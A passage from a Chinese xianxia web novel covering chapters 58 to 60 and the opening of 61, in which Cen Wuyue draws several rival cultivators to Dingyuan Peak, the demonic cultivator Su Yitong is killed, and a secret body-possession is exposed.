千嶂夕确认过肉身没有问题,又似不经意地问:“你为何非要周凰死不可?” 周凰只要继续作恶、继续变强下去,总有一日会自取灭亡,白令先不是周家人,面对周凰此人又何必急得火烧屁股。 白令先笑了一下,简洁地答道:“情债。” 那究竟是真话,还是假话,千嶂夕并不在意。 白令先这小人最是惜命不过,不会暴露这个秘密。 秘法调整过后的新肉身也确实好用,千嶂夕声称自己尸解,消失数十年后回到六合书院,人人只赞她是更上一层楼,无一人发现她是“夺舍”而非“尸解”。 一切都很完美,千嶂夕逐渐放下了心。 只不过很偶尔的情况下,她也会想起星玄度的那句话。 “无论如何都不会是你最想要的那个结果”,那究竟是什么意思? …… 鼎元峰就在眼前了。 千嶂夕的神识远远便捕捉到两个人影。 一个是岑无月,另一个是苏艺桐。 她原以为这两人见面便会立刻厮杀,没想到此时竟颇为平静地面对面说着话。 不过岑无月嘴皮子向来利索,可能是唬住了苏艺桐,正在等待救兵。 ……可惜,来的不是救她的人,而是杀她的人。 第58章 第 58 章 苏艺桐烦死谢还了。 打又打不死, 只能几十公里外听到他消息立刻就跑这样子。 一个名字又臭又长的太上无相真君,一个谢还,这修真界怎么还搞出两个挂逼! 前面那个也就算了, 久居深山活得像个纪念碑, 基本不怎么管事;后面那个是真爱在外面乱逛, 还爱管闲事。 平时对谢还绕着走就也绕了, 反正去哪儿不是杀人。 可当苏艺桐真要杀某个特定目标时, 总是跟在目标身边的谢还就显得非常碍眼。 岑无月, 岑无月。 向思雨的几个徒弟肯定都是她精挑细选出来, 况且她一共只能收五个弟子,这是最后一个名额,必不可能是什么随便收的N卡R卡。 苏艺桐边躲避谢还边抢了点情报,看完更是不解:岑无月甚至没有和人动过手,明明前四个都一言不合就大打出手,最小的那个徒弟武力值怎么反倒成谜? 岑无月身上到底有什么奥秘? —— 苏艺桐和向思雨曾是好友, 两人一同穿越到这个毫无法律可言的世界。 发现自己可以修仙后, 两人大喜过望,觉得这简直就是重开一次刺激人生的机会。 修真界弱肉强食,杀人如杀鸡,许多时候甚至不会受到任何惩罚。 面对这样的世界,来自文明社会的两人一开始都有些无措。 她们俩甚至连鸡都还没杀过,只是普通的大学生。 这样的良善使得她们一次次地陷入险境之中。 第一次杀死想杀害她们的人时,那飚射的热血吓得两个人都尖叫起来,满脸鲜血地抱在一起嗷嗷大哭。 事后, 向思雨还哭着给那人挖了个坑埋起来。 苏艺桐站在一旁帮忙, 却陷入沉思。 可随着修为升高、在这个世界的时间变久,她们互相扶持着长大, 彼此都有数次以命相救的经历,最后终究还是逐渐习惯了这里的生存法则。 苏艺桐简直是如鱼得水,很快脱下心头无形的道德枷锁。 她在这个几乎可以说是毫无桎梏的世界里,过得比从前的世界快乐多了! 从前,她没有钱,没有爱好,没有除了向思雨以外的朋友,长辈老师说什么,她便怎么做,咬牙拼尽一切才考上大学。 而现在,她要想什么,便可以得到什么,甚至有呼风唤雨之能。 她享受着这种掌握他人生死、自己也游走于生死之间的生活,让她感觉自己还生龙活虎、自由无比。 就算有回去现代社会的机会,也根本不用选——苏艺桐决心要留在这个世界! 苏艺桐满以为自孤儿院便相依为命、在这个世界仍能毫不犹豫为彼此赌上性命的向思雨也会是如此,日日拉着对方一起为非作歹、烧杀抢掠,沉浸在无序的狂热之中,却没有发现好友的兴奋与激动日益退去。 直到被向思雨背刺、濒临死亡那一刻,苏艺桐才恍然发现向思雨和自己不同。 向思雨太过软弱,无法忘却曾经的一切,无法跨过心中的底线,无法在这个世界中长久地生存。 苏艺桐边呕血边狠狠盯住向思雨时,恍然发现她居然不知什么时候消瘦得不成样子。 向思雨扔下染血的刀,哭着爬过来抱住奄奄一息的苏艺桐,边哭边磕磕绊绊地说:“我不认识你了,小桐!我认识的苏艺桐不会做出因为觉得好玩就杀死几万人、还是毫无还手之力的几万人这种事……” ——谁让他们没有还手之力,在这个世界里弱就是原罪,我们当年不也是因为太弱所以才好几次差点死了吗?如果他们对自己的命运不甘,那他们就该努力变强啊? “小桐,我会带你回家。”向思雨整个人都在发抖,双手哆哆嗦嗦地搂住她,“我一定会带你回去,让你复活,消除你的记忆……回去之后,你一定能变回从前的样子。” 她的话说到这里,苏艺桐都不知道是谁疯得更厉害了。 ——我想救你,所以才先杀了你? 向思雨恐怕是被这个人吃人的世界逼出精神疾病了吧。 苏艺桐笑了起来,她吐掉嘴里的血块——又或者是什么内脏碎片——含混不清地喊向思雨的名字。 向思雨泪如雨下,接连点头:“我在!我在……很痛吗?你忍一忍,马上就过去了,一切都会好的……” 苏艺桐张嘴,却没有发出声音。 向思雨主动侧耳靠近她唇边。 借此机会,苏艺桐用尽全身力气抓住地上兵器,以牙还牙,一刀贯穿向思雨灵府。 毫无防备的向思雨瞬间重伤。 苏艺桐哑声笑着用整个身体的重量将向思雨按倒在地,死死扼住她的喉咙,另一只手缓缓地将刀向外抽:“真好笑……原来他们说得对,不该相信任何人。” 向思雨虚弱地挣扎,两人明明都修为不低,却因为各自的重伤而只能像两个快病死的人一样狼狈肉搏。 “只有你不可以背叛我,”苏艺桐终究是占了上风,她将刀横到向思雨脖子上,满怀恨意,一字一顿地重复道,“只有你不可以。” ——你甚至能为我去死,怎么能因为觉得我变了就举刀杀我? 割下昔日好友的头颅瞬间,苏艺桐察觉到对方的神魂抛弃躯壳、慌不择路地走了。 她抱着那颗脑袋在原地愣了一会儿,撇撇嘴:没关系,先养伤,等能走了再去找就是。 为了再找到向思雨,苏艺桐想了很多办法。 但向思雨别的不行,苟是真擅长。 如果不是随身长刀一直隐隐有反应、只是不知联结何处,苏艺桐都要以为向思雨是撑不下去所以自杀了。 一开始,苏艺桐只是纳闷向思雨怎么能藏得这么好。 直到曲燃被刷新出来了。 曲燃作为魔修新星冉冉升起,苏艺桐当然也注意到过,特地找去酣畅淋漓地打了一架。 本来没什么,但曲燃自报家门时,居然说自己师父叫向思雨。 苏艺桐杀心大起,揍得初出茅庐的曲燃满地打滚、抱头鼠窜。 但曲燃跑归跑,骨头很硬,没有泄露向思雨的位置。 两人就这么我追你跑了很多年。 一次,苏艺桐问曲燃:“无情道呢?不修了?” 变强不少的曲燃翻白眼:“没你干扰说不定早就飞升了。” 哦,他大概不知道向思雨所谓回去的办法是“亲手培养一个徒弟无情道大成”。 苏艺桐打量几眼曲燃,轻蔑一笑:“我看你是没希望了,还是指望师妹师弟吧。” 曲燃软硬不吃:“以为我会泄露情报?想多了吧。” 又是一场两败俱伤的厮杀。 苏艺桐觉得曲燃实在有点不太好杀,还是个高速成长型。 不知道向思雨roll了多少次才得到这么张卡,而且说不定绝望之中把所有的好东西都给他用上了吧。 但飞升嘛,看曲燃也没什么希望。 不过追杀他也是一种乐子。 苏艺桐就这样每天修炼杀人打曲燃,顺便关注着向思雨的下落。 结果很久、很久都没有向思雨的第二个徒弟出现。 苏艺桐百思不得其解:她了解好友的性格,第一次徒弟卡抽歪了,一定会捶首顿足地立马去抽第二张,不应该会拖延这么久啊? 她转而秘密跟踪曲燃,一跟就是许多年。 功夫不负有心人,终于发现了曲燃私底下和周妲见面。 周妲也是突然就冒出头来的修真界新人,说自己的师父叫周五,自小是被抛弃的孤儿,所以随师父的姓氏。 苏艺桐装作好奇与周妲交谈,先是一番推心置腹,而后才似不经意地问:“想必令师在家中排行第五吧?” 周妲懒懒道:“这倒不是,师父说一想到这个名字就很开心。” 苏艺桐笑了,也确定了。 那确实,到了周五就想到周末,想到周末就开心。 —— 苏艺桐使用假身份与周妲相交,并有意避开曲燃。 一开始,苏艺桐本打算马上杀掉周妲,免得她也是个成长型。 周妲此时实力还只有中上,况且还没有防备,比曲燃可好杀多了。 但和周妲见了几面后,苏艺桐便改变了主意。 周妲有点师宝女,时不时便会提上一句“我师父说……”。 苏艺桐已经记不清自己与向思雨有多久未见,每每听着听着就把杀意按了回去。 至少,在杀周妲之前,总得想办法套出来向思雨藏身的办法和位置吧。 —— 但周妲最终还是死在苏艺桐手中。 苏艺桐认为自己完全是做了一件善事。 —— 周妲也是唯一一个苏艺桐亲手杀掉的、向思雨的徒弟。 曲燃已经是“打不过跑得过”——苏艺桐跑路技术如此之强,还是跟他学了不少。 鹿云渺死在紫霄州。 沈述下落不明。 但现在,苏艺桐有最后的追杀目标。 知道谢还肯定不会参加论道会,苏艺桐从论道会开始的第一天便往六合书院的方向赶去。 另一个挂逼就在六合书院里,苏艺桐当然不会傻到进六合书院大开杀戒。 但只要悄悄混进去,杀掉岑无月,再趁乱逃跑,这问题不大。 结果她刚到六合书院,就听说岑无月已经去了鼎元峰,只好马上调转方向再去追。 谁知道论道会开几天,谁知道这岑无月得杀几天,等谢还跑回来可就来不及了。 苏艺桐全力赶路,满以为自己会碰见从鼎元峰回转的岑无月,没想到一路追到鼎元峰下才见到她。 苏艺桐眯眼打量这个看起来实在纯良的小徒弟,心中有了猜想:“你是故意离开六合书院的。” 谢还不是体贴的人设,不可能没告诉岑无月追杀之事。 傻子都知道六合书院是最安全的地方。 可岑无月居然也是在论道会开始的第一天就离开书院,这本来就说不过去。 哦,苏艺桐心中本来用“岑无月大概是傻子”来解释此事来着。 “具体一些说,”岑无月笑眯眯地说,“我是在等你。” 苏艺桐看着她灿烂无比的笑容,有点怀疑定义了:“你也修无情道?” “我修无情道。” “哪种无情道?” 岑无月居然还认真地想了片刻,才答:“‘万物皆当为我所用,否则该当为我所毁’的无情道?” 苏艺桐琢磨了一下话里的意思,陷入沉默:“……” ——这不就是“顺我者昌,逆我者亡”?向思雨你醒醒,你这位小徒弟才是天生的魔修吧?? “在开打前,我有几个问题想问你,”岑无月很友好地说,“反正你应该也不急这片刻时间,能不能看在我是故人之徒的面上,替我解答一下?” 苏艺桐曾经和周妲来往几十年,自觉耐心很好。 加上也不差这几个问题的一时半刻,她便爽快地点头答应:“好,你问,但我未必会答。” “你腰间就是那柄刀吗?” “没错。” “你见过我前面几位师姐师兄吗?” “见过曲燃、周妲。” “二师姐死于谁手?” “我。” …… 一问一答,流畅无比。 岑无月共问了十个问题,而后便停下了。 苏艺桐扬眉:“就这些?” 岑无月点点头:“谢谢,知道这些就足够了。” 苏艺桐咧开嘴角,脸上浮现残忍疯狂的笑意:“好,来受死。” 岑无月笑道:“好。但我的命嘛……它有一点点抢手。” 她这句话刚开头时,苏艺桐已经不悦地皱紧了眉、向侧方看去。 落下最后一个字时,沉默不语的千嶂夕抵达了二人面前。 “看来嶂夕师姐也是来杀我的。”岑无月双手合十,朝两人露出毫无危机感的俏皮笑容,“那让我们来猜猜,今日我们四个人中,最后究竟是谁能得偿所愿、安全离开呢?” 千嶂夕蹙着眉没有说话,看起来甚至有些羞愧。 苏艺桐也没有说话,但她的心理活动很激烈。 ——面对两个修为高强的杀手,岑无月居然wink?她居然wink?? …… 等一下。 哪来的四个人? 第59章 第 59 章 曲燃烦死岑无月了。 他大概知道师父收徒自有一套筛选标准, 只是不知道具体如何进行。 尽管师父经常发愣、出神时听见声音便会吓一大跳、又总是说一些奇怪的话,但毕竟是他的恩师兼救命恩人,还将所有的好东西都给了他用。 彼时的曲燃还是个意气风发、从未撞过墙的年轻人, 当下山去历练人情时, 想着师父的修为日益倒退, 发呆的时间一日比一日长, 便想着应尽早证道, 好早日完成师父的心愿。 ——也正是如此, 他犯了心急的错误, 被人剜去灵府、骗走了修为。 一步错,步步错,当时的曲燃只有选择效仿父亲的做法堕魔,才能复仇、成功活下去。 只是一堕魔,从前的道心作废,想要再修无情道, 便只能凝聚信念、从头来过。 曲燃担心师父承受不住在自己身上的投入统统打水漂打击, 在捡到被扔在野外半死不活的婴孩时,他毫不犹豫回到师门秘境,将其扔给师父照看。 他知道师父对小孩总是有过分的担忧和偏爱,有这刚出生的婴儿在,师父的心境应当能平稳许多,至少应当不会主动寻死。 婴孩被取名为周妲,顺利长大,成为了曲燃的二师妹。 再接再厉, 曲燃又捡了个鹿云渺塞回师门, 获得一个三师妹。 三师妹兴致勃勃地效仿,捡回了父母双亡的沈述。 沈述最特别, 他捡回来一只半死不活的蜘蛛,和师父一起当宠物养。 后来蜘蛛得了一种全身长白毛的病差点死掉,师父使用某种秘法赋予其人形,成了现在的岑无月。 对,曲燃认为,岑无月这么烦人,绝对有她本来就不是人这个原因的影响。 他倒不是嫉妒,也不是歧视,只是很烦岑无月总是什么都不说。 用师父的话来描述:真是个该死的谜语人。 —— 就比如两人第一次见面时。 岑无月明明才是一直待在秘境里的那个,几句交谈下来却好像什么都明白了——曲燃自己都还蒙在鼓里呢?! —— 再比如第一次帮岑无月的忙时。 岑无月只是在打完那架离开时往曲燃手心里塞了个东西,道:“等它飞走的时候,你便往玄枢城外的灵脉里打一下,越狠越好。” 被岑无月打得重伤的曲燃好不容易才爬起来,摊开掌心一看,是个不知道什么虫子的茧。 神识往里面一扫。 好嘛,里面的虫子还没完全化形就已经死了。 怎么可能会飞走!! …… 话虽是这样说,闲着无聊、又实在好奇的曲燃还是去了玄枢城外等待。 他一边苦苦等待,一边在心里嘲笑岑无月竟然还妄想把那三个人找回来。 然后,某天,那死掉的虫子就从茧里挣扎出来、歪歪扭扭地飞走了。 曲燃瞠目结舌半天才想起自己要炸掉灵脉。 因为动手匆忙,差点被奚逐云逮到,实属是他自己的失误。 但这不妨碍曲燃在第二次见到岑无月时,理直气壮地把锅直接砸到她头上。 —— 和岑无月的第二次见面便接连引发第二次的帮忙。 听到岑无月的要求时,曲燃都觉得自己听错了。 他花了一息时间来判断岑无月是不是准备杀掉自己来证道,但想到自己第一次见面时就差点死她手里,又打消了这个想法。 “我想谢还不会杀你的。”岑无月道,“我有研究过他这个人,你不在他的必杀分类里。” 那为什么非要我去跟他打? 曲燃想这么问来着,但出于一种莫名的长辈自尊没有问出口。 最后被谢还吊打一顿,好在确实是没死。 ——短短两次见面,两次帮忙,就已经足够让曲燃烦死这个总是什么也不做解释的小师妹。 他琢磨了很久,发现岑无月不只是对他这样,她对谁都这样。 但这也并非是出于对他人的不信任。 因为曲燃发现连师父本人都被岑无月蒙在鼓里。 ……岑无月只是单纯喜欢看其他人被她玩弄于股掌之间吧。 —— 这一次,曲燃又收到了岑无月的传讯。 岑无月的传讯方式很特别。 她给了曲燃一瓶蚂蚁。 是的,一瓶蚂蚁。 这些蚂蚁平时不用吃喝,待在瓶子里面像死了一样,怎么晃也不会动。 但当它们开始爬动的时候,曲燃只要打开瓶子,这些蚂蚁便会主动爬出来,拼凑成传讯的文字。 你品,你细品。 别人的传讯方式那都是可以来回的,意思是“你可以如此给我传讯,我也可这样回讯给你”。 而岑无月的这个,比起叫传讯还不如叫下令,意思是“收到了吧?愣着干什么,还不快去”。 曲燃刚刚养好伤没两天,蚂蚁就在瓶子里窸窸窣窣了。 曲燃瞪着瓶子里焦躁的蚂蚁。 很显然,这烦人的小师妹又开始找他去当棋盘上的棋子了。 曲燃当然可以不去。 他怀疑缺了自己,岑无月也有八十个后手等着。 根本不是必须用他。 …… 但那毕竟是自家的爬宠兼小师妹。 预备计划也总没有第一计划好。 万一她受伤或者一不小心死掉,师父又要伤心很久。 等传达完讯息蚂蚁们都爬回瓶子里重新死掉,曲燃骂骂咧咧地收起瓶子出门。 他依稀记得净庭山的哪个冤种曾经说过:师弟师妹都是债。 那可太对了。 —— 这第三次帮忙,同样是没头没尾、绝不解释、只给指令的岑无月作风,只有一句话:论道会第三日,鼎元峰见。 但曲燃觉得自己的头脑也不是摆设! 他机智地提前出发,在论道会第一天就来到六合书院,仗着艺高人胆大,稍作伪装就混了进去。 虽说论道会时高手如云,但人多眼杂,他反倒混进去得很轻松。 曲燃的打算也很简单:他想先悄悄找到岑无月,跟踪她两天,看看她到底有什么计划,到底为什么总要秘密行事、不把话说清楚。 论道会第一天,曲燃没找到岑无月。 第二天也没有。 第三天还是没有。 曲燃终于认命了,认命于他是不动脑子的那类人这个事实,随后离开书院直奔鼎元峰。 曲燃觉得自己已经走得很快,但没想到赶路到一半时,从屁股后面撵上来一个比他还急的。 定睛一看,居然是刚从论道台上下来、本应该精疲力尽的千嶂夕。 曲燃大为震撼。 他和千嶂夕固然有那么点龃龉——魔修和正道嘛——但也不至于对方在这种力倦神疲的情况下还特地一路追杀吧? 曲燃放慢步伐,提起警惕。 千嶂夕瞥他一眼,全速掠过,那快得简直像是在逃命。 曲燃有点莫名其妙,但想到冤种小师妹还不知道在布什么局、有没有把自己玩死,便又开始赶路。 赶着赶着,曲燃发现不对劲了。 这千嶂夕和他去的是同一个地方啊? 哦,岑无月棋盘上的另一枚棋子。 又和千嶂夕有什么关系?? 想到这些事情岑无月明明都知道,却一个字也不和他这个大师兄解释说明,曲燃差点气死当场。 默默气了一会儿后,曲燃掩藏起自己的气息,遥遥缀在千嶂夕后方。 千嶂夕倦极,没有注意到他隐秘的尾随。 然后,曲燃远远能眺望见鼎元峰下的人影时,发现那还有一个苏艺桐。 而冤种小师妹就和这两人站在一块,满脸都是傻白甜的笑容。 哪怕曲燃知道傻白甜只是表象,心里也还是咯噔一下,赶紧加速狂奔上前。 他到近处的时候,正好听见岑无月的最后一句话:“……那让我们来猜猜,今日我们四个人中,最后究竟是谁能得偿所愿、安全离开呢?” 听得曲燃大翻白眼。 还能是谁,是你,是你,就是你? 曲燃一站定,四人就成了隐隐对峙、微妙平衡的四方之势。 千嶂夕皱着眉看曲燃:“你竟尾随我至此?” 苏艺桐皮笑肉不笑地道:“哦,原来你们早就搭上了线。” 曲燃直截了当问岑无月:“哪个要杀你?” 三个人全部都是自说自话,没有搭理另外两个人的意思。 而岑无月更是拥有只贯彻自身意志、将他人全部视作空气的的优良品质,二话不说拔剑攻向苏艺桐。 既如此,曲燃也不需要她回答了。 他问“哪个要杀你”,本来就只是为了判断应该先对哪个动手。 师兄妹联手先杀苏艺桐,正好为师父了一心事。 只是曲燃又留了一分注意力给在场的第四人,千嶂夕。 他还不知道千嶂夕赶路那么急,究竟是为了来做什么。 这位六合书院的得意弟子在原地只站了一小会儿便做出决定,加入围攻,先杀苏艺桐。 只是,曲燃仍旧能隐隐察觉,千嶂夕的杀意指向有两人——苏艺桐多些,岑无月少些。 曲燃:“……”难怪岑无月刚才没回答。 原来是这两个人都要杀你是吧!! 打着打着,他发现了不对劲。 岑无月明明是最先出手的那个,结果等真打起来,居然时不时就往他身后躲。 怎么,你不杀人所以让我上是吧?? 曲燃一边充当岑无月的挡箭牌,一边还要防范千嶂夕可能的偷袭,累得够呛。 战到酣处时,岑无月手中的剑猛然挥出一道凛冽至极的剑气。 也就是曲燃躲得快,不然必定削掉他大把头发加一块头皮。 更过分的是,曲燃一眼认出了那是谁的剑气。 除了沈述还能有谁啊!! 有这一发现,曲燃马上辨认出那是沈述的配剑,不由得愣了一下,瞬间想明白很多事情,简直是火冒三丈。 ——岑无月都找到沈述的剑了,那八成也已经找到沈述的尸体,居然连这样的大事都一个字没跟他这个大师兄说?! 曲燃憋着一股子越烧越旺的火气,越战越勇。 两人协力一蛛摸鱼,打了一天两夜,终于顺利将出了名能跑的修真界的一大魔修苏艺桐杀死在鼎元峰下。 曲燃自转魔修没多久就被苏艺桐追杀,从满地乱爬进化到后来能打个平多负少,直到今天终于出了这口恶气。 他平复喘息,悄无声息地疯狂调息恢复,又用余光盯着千嶂夕的一举一动。 而千嶂夕看起来似乎也在做和他差不多的事情,苍白的面色时不时浮现一点红润。 不远处,身首异处的苏艺桐死撑着最后一口气不愿咽下,而摸鱼了全程的岑无月正持着雪亮的剑弯腰低声与她的头颅说着什么。 曲燃一边警戒随时可能发难的千嶂夕,一边咬牙切齿地心想:等着,等解决了这个千嶂夕,我非把所有事情都从岑无月嘴里挖出来! 第60章 第 60 章 苏艺桐的脑袋是被曲燃眼疾手快砍掉的, 识海还被千嶂夕毫不留情地贯穿。 怎么说也该死透了,但她就是不肯咽气,一双眼睛死死盯着岑无月, 盛满极尽的癫狂。 岑无月捏着个小型的便携隔音法器, 弯腰靠近苏艺桐, 很友好地说道:“我会把你的尸首也带回去给师父的。” 这句话听起来很像挑衅的意思。 苏艺桐要是还有灵力, 眼睛里估计能射出灵气飞刃来。 “毕竟师父一直很想见你, ”岑无月想了想, 又道, “如果你要说的是师父的心愿,我也会帮她实现的。” 苏艺桐一挑眉,流露出两分轻蔑。 “放心,”岑无月安抚地说,“交给我好啦。” 苏艺桐凝视她半晌,才不甘地闭上眼睛, 只留下微弱的神识裹着破碎的声音传入岑无月耳中。 她说的是:“你最好是能实现。” 岑无月侧耳听完, 弯腰将苏艺桐的尸体收进储物镯中,再回过头去,就看见曲燃和千嶂夕面面相觑、彼此戒备的模样。 曲燃第一时间便注意到岑无月的动作,头也不转地朝千嶂夕冷笑:“千嶂夕,为何还不走?” 面色凝重的千嶂夕转向岑无月,但绝大部分注意力仍锁定在曲燃身上,防范他突然暴起攻击。 她对岑无月道:“你已知道我是来杀你的。” 曲燃先前没听到几人说话内容,此时听罢, 身上杀气又锋锐一分。 “知道哦。”岑无月说, “是白令先让你来的,对吧?我知道了白令先不能被人知道的秘密。” 千嶂夕叹息:“你不知道的是, 那不止是他一个人的秘密。” 岑无月只笑不语。 关于这个嘛……其实也知道的。 —— 现在回想起来,翊麟城真是一个极为重要的地方。 冥冥之中,沈述似乎隔着十几年的时光、通过辞青之口、为岑无月标记了此城。 岑无月不仅在入城之前就从星玄度那里得到“千嶂夕”这个名字作为线索,更是与千嶂夕同时出现在了城里,随后又发现了“神兽”就是三师姐的事实。 人人都说神兽青睐人时多是在看天资,而千嶂夕正巧是几百年不遇的天才,所以神兽对她极为热情。 但神兽对千嶂夕最热情的那一次,是在千嶂夕已经入城、而岑无月还没有暴露沈述尸体的时候。 而当鹿云渺的残存意识通过沈述确定岑无月就是师门之人后,对千嶂夕立刻便冷淡了下来。 城中注意到这的人其实也不是没有。 但时间过于巧妙,便有很多看起来更合理的、说得过去的理由。 毕竟岑无月后来才是叩开天门、被神兽触碰的那个人嘛。 那岑无月的天资更高、所以神兽转而更为喜欢她,非常合理。 岑无月当时便注意到了神兽注意力转向的变化,但并不能确定此事代表什么。 而三师姐的意识无论前后,都不是能详细交流沟通的状态。 —— 要获得更为详细的千嶂夕情报,比起秦鲤,更适合也更便宜的情报来源就在翊麟城里,而且十分之热情。 那就是千嶂夕的师弟师妹们。 这些年轻人们对千嶂夕爱戴非常,岑无月往往都不需要自己开口询问,他们便跟倒豆子似的称赞起千嶂夕的种种事迹。 从零碎的、似乎不相干的大量话语中提取出自己所需要的信息,这是岑无月最擅长的事情。 可以确定的是,千嶂夕尸解过,有大致的时间,且是在她杀死周家那名暴走的魔修以后。 岑无月见过师父的修为倒退。 听小师兄说,最开始师父虽是神魂,但只要聚精会神,也能碰触、移动物品。 但随着时间推移,她的修为如同流沙从指缝中流走那样,越来越少,直到身形都淡成朦胧的一个影子。 岑无月原本是辟谷的——蜘蛛本来也没有什么嘴馋的食欲,对半蛛半菌的她来说,辟谷如同呼吸一样简单。 可师父的求生欲一天比一天淡,想着小师兄提到过师父似乎很久之前是个贪嘴之人,天天垂涎欲滴地把一些菜名挂在嘴边,岑无月某日突发奇想,把自己的味觉和师父的绑定在了一起。 从此她吃什么,师父就能尝到什么。 第一次尝试时,师父愣了好一会儿,捂着嘴巴跳起来骂她:“为什么生吃虫子!!!” 岑无月很无辜:“原来还要煮熟的吗?” 一只蛛就这样逐渐进化成了饭桶兼美食家。 —— 扯远了。 说回千嶂夕。 一个人在破境失败后强撑几十年,修为不知道滑落到什么地步,心境更不知崩坏几何,此时真的会主动去单挑实力强劲、破境如喝水的魔修? 也说不定,或许千嶂夕嫉恶如仇、爱民如子,又或许她想挑选一劲敌、置之死地而后生呢。 还是需要更多的信息才能得出结论。 于是在安置好三师姐后,岑无月便应邀去了六合书院。 —— 然后白令先就出现了。 白令先很能演,是岑无月所见过最能演的人。 岑无月当着千嶂夕的面用前日出现的多情道魔修试探,他居然能镇定到主动送上门来解释,而不是装聋作哑。 虽然给的是半真半假的一番解释。 但半真半假才最真嘛。 白令先只是不小心说漏嘴了一个很微不足道的地方,或许他自己都没有注意到。 提及那魔修的事情,他说“只怕是又要在此事中蹉跎上百年”。 “又”。 那上一次是什么时候? 是求爱被千嶂夕拒绝、销声匿迹的那段时间? 要知道,这段时间的白令先可是真藏得很好,一点消息也没有在外流传。 真是个浑身疑点的男人啊。 —— 千嶂夕对白令先的态度也很微妙。 本来以千嶂夕的性格,第一次被白令先求爱就在众人面前对他大打出手,哪怕到现在也不应该看得起天资平平的白令先。 千嶂夕此人是很有点天赋论在身上的。 翊麟城中,要不是岑无月上了天幕第一,她可懒得多搭理岑无月。 那么,当白令先时隔这么多年仍然用黏糊糊的眼神凝视千嶂夕、主动上前搭话,千嶂夕居然不当场发难,反而是忍了下来? 哎,说这里面没有蹊跷都没人信。 岑无月注意着这两人的动向,每每他们快要碰面时,就特地过去引导一番让他们碰上,然后站在旁边乐呵呵地看戏。 千嶂夕烦白令先,但她又似乎有什么理由不能对他动手。 白令先有此倚仗,但又不是完全安心,偶尔又会漏出丁点的惧意。 会害怕,那大概就不是叶秋宁等人想的“白令先还没对千嶂夕死心”。 但千嶂夕又有什么麻烦是她自己、以及六合书院都无法解决的呢? 那答案不就只有一个嘛。 当年的“尸解”。 —— 另外也不得不感谢热情好客的叶秋宁。 他提供了许多他自己或许觉得不重要的情报,但言者无心,听者有意嘛。 通过种种渠道获得足够多的信息之后,岑无月只需要将它们整理、筛选、重新排序,真相就已经跃然眼前。 —— 千嶂夕破境失败差不多是三百五十年前,和周妲离开师门的时间相近。 之后大约过了二十年左右,白令先向千嶂夕求爱,被当众打走后,隐藏行迹数十年。 周妲的命灯在二百八十一年前熄灭。 也正是同一年,周凰横空出世,一月便能伤周临岐,三年能与周临岐打成平手,此后四处作乱。 二百七十三年前,千嶂夕出手于鼎元峰斩杀周凰,随后便离开书院进行尸解。 白令先在这之后也重新开始露面行走。 二百三十年前,千嶂夕携从前更为强横的实力与资质重新出现,继续做她的六合书院五百年来第一人。 …… 这样一看,其实一切都很明了了。 唯一的问题是岑无月还不能确定千嶂夕究竟知道多少,是大概几成的加害者。 毕竟,岑无月刚入六合书院那天,千嶂夕问那句“周妲莫非是周家人”时,眼神表情可都是相当不知情。 —— 一切串联在脑中进行,也不过是一个念头的事情。 岑无月笑着将沈述的剑重新纳入剑鞘,又收回储物镯中。……引来曲燃一个像是在骂人的眼神。 和岑无月完全不同,曲燃和千嶂夕都紧握着各自的兵器,浑身灵力维持在最敏锐的状态,神识互相锁定,剑拔弩张,好像下一瞬就要开打。 “嶂夕师姐其实并没有尸解,对吧?”岑无月语气轻快地问,“很难想象运气如此之好,一次便选中这样完美的转世肉身呢。” 千嶂夕的气息骤然一紧! 曲燃的眼神也猛地发狠! 同时沐浴在两个人的凝重杀机之中,岑无月却很淡定。 她从储物戒里掏了掏,找出一个蜜橘,边剥边说:“夺舍,对吧?” 如果只是找到了什么神医、学习了什么秘法,千嶂夕根本没有必要仍旧向所有人宣称自己进行了尸解,只要说实话即可。 所以她用的一定是一个无法公开的办法,却又和尸解很相似。 那就只能是夺舍了。 三两下剥完橘子,岑无月直接一整个塞进嘴里,嚼嚼咽下去。 千嶂夕涩声道:“……你果然知道了。” 岑无月笑眯眯道:“白令先让你来的,对吧?” 她只需要稍稍表现出一系列“沉思”“恍然大悟”“震撼”“竭力遮掩”的表情变化,白令先就会自己把一切都脑补完,然后觉得非杀岑无月灭口不可。 保险起见,岑无月离开书院时特地跟守卫说了自己要去鼎元峰,白令先跟在后面一问,知道这个地名,肯定慌神。 但白令先又不是会自己冒险的人。 一来,岑无月叩过天门,那大小也是个实力的证明;二来,有谢还在一旁当辅佐证据,让众人都对岑无月的实际实力严重进行了高估。 因此,白令先最好、也是最快的办法,就是赶在论道会期间让千嶂夕出手杀岑无月。 岑无月算好时间,把苏艺桐、千嶂夕、曲燃都凑到鼎元峰下,可不止是为了杀……啊不是,不是为了见一个苏艺桐。 苏艺桐的死纯属意外,曲燃和千嶂夕各占一半的责任。 “……”千嶂夕没有再回答,而是举起兵器道,“看来,你们俩都得死在这里了。” 岑无月又从储物戒里掏了一物出来,夹在指间把玩:“白令先对你说,你用的身体是‘周凰’,对吧?” 千嶂夕没有回答,但她略显愧疚的眼神已经给了岑无月答案。 那其实甚至能算得上无辜嘛。 ——当然,只以岑无月“只管自家师门死活”的标准来评判。 旋转的箭矢在岑无月指间被夹停住。 岑无月叹了口气,以灵力构造出一张弓,箭搭其上。 千嶂夕立刻抢上前来,而曲燃骂骂咧咧地上前阻拦。 岑无月将弓拉满,道:“二师姐,劳烦你即刻去一趟六合书院,让白令先在众人面前坦白与周凰有关的一切。” 最后一个字落下后,她松开手指。 箭矢的速度比念头更快,几乎在岑无月松手的那一瞬间便化作一道光没入千嶂夕体内,而后者立刻转身掉头,向六合书院的方向疾驰而去。 一击落空的曲燃:“……啊??不打了?你怎么解决的??……等等。……你刚才叫千嶂夕什么???” “很神奇吧,”岑无月又拿出第二个蜜橘,边剥边道,“即便已经夺舍,但她的身体仍然是‘周妲’。” “什么意思?” “有人偷梁换柱嘛。” “谁?换了什么??” “咦,这还不够详细吗?” 曲燃怒极,三步并作两步上前,劈手抢走刚剥好的蜜橘,很凶地直接在掌心捏爆,破口大骂:“你这样解释鬼听得懂?从头开始讲啊!!”【你现在阅读的是 】 60-70 第61章 第 61 章 白令先有些不安。 即使千嶂夕同意杀岑无月灭口, 即使她已经出发,他内心仍有些惶惶。 已在论道台上消耗数日的千嶂夕会是岑无月的对手吗? 万一千嶂夕输了,死在岑无月手下, 那岑无月会掉头来杀他吗? 就算如传闻那般, 岑无月真的不杀人, 那她会不会将自己所猜到的事情公告天下、作为报复? 岑无月既然会特地挑一个千嶂夕无法抽身的时间前往鼎元峰, 就说明她内心绝对已经有所怀疑。 白令先只是不敢与她对峙, 于是便不知道她知道了多少。 岑无月是周妲的师妹, 